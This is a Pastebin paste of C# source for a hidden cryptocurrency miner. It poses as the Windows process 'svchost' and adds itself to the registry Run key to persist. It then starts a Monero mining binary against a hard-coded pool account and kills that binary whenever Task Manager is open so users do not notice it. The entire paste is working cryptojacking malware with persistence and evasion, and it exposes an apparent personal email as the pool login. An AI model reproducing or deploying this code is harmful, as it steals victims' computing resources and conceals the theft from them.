Advertisement
Guest User

Untitled

a guest
Jul 13th, 2017
505
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.75 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Diagnostics;
  7. using System.Threading;
  8. using System.Linq;
  9. using System.Text;
  10. using System.IO;
  11. using System.Windows.Forms;
  12. using Microsoft.Win32;
  13.  
  14. namespace svchost
  15. {
  16. public partial class svchost : Form
  17. {
  18. public svchost()
  19. {
  20. InitializeComponent();
  21. }
  22.  
  23. static public string appName = "svhost";
  24. static public string appInfo = "Host process";
  25. public bool minerStarted = false;
  26. // Параметры запуска майнера
  27. static public string poolUrl = "stratum+tcp://xmr.pool.minergate.com:45590";
  28. static public string userName = "alex.dizaro@yandex.ru";
  29. static public string userPass = "x";
  30. public string startInfo = string.Format("-a cryptonight-light -o {0} -u {1} -p {2}", poolUrl, userName, userPass);
  31.  
  32. // Добавление в автозагрузку
  33. public bool addAutorun()
  34. {
  35. string ExePath = System.Windows.Forms.Application.ExecutablePath;
  36. RegistryKey regKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
  37. try
  38. {
  39. regKey.SetValue(appInfo, ExePath);
  40. regKey.Close();
  41. }
  42. catch { return false; }
  43. return true;
  44. }
  45.  
  46. // Запуск майнера
  47. public bool StartMiner()
  48. {
  49. try
  50. {
  51. ProcessStartInfo info = new ProcessStartInfo(appName);
  52. info.Arguments = startInfo;
  53. System.Diagnostics.Process.Start(info);
  54. return true;
  55. }
  56. catch (FileNotFoundException)
  57. {
  58. return true;
  59. }
  60. catch (Exception)
  61. {
  62. return true;
  63. }
  64. }
  65.  
  66. private void svchost_Load(object sender, EventArgs e)
  67. {
  68. addAutorun();
  69. StartMiner();
  70. taskManagerChecker.Enabled = true;
  71. }
  72.  
  73. private void taskManagerChecker_Tick(object sender, EventArgs e)
  74. {
  75. minerStarted = Process.GetProcessesByName("svhost").Any() ? true : false;
  76. if (Process.GetProcessesByName("Taskmgr").Count() != 0)
  77. {
  78. Process[] proc = Process.GetProcesses();
  79. foreach (Process process in proc)
  80. if (process.ProcessName == "svhost")
  81. {
  82. process.Kill();
  83. }
  84. }
  85. else if (!minerStarted) StartMiner();
  86. }
  87.  
  88. }
  89. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement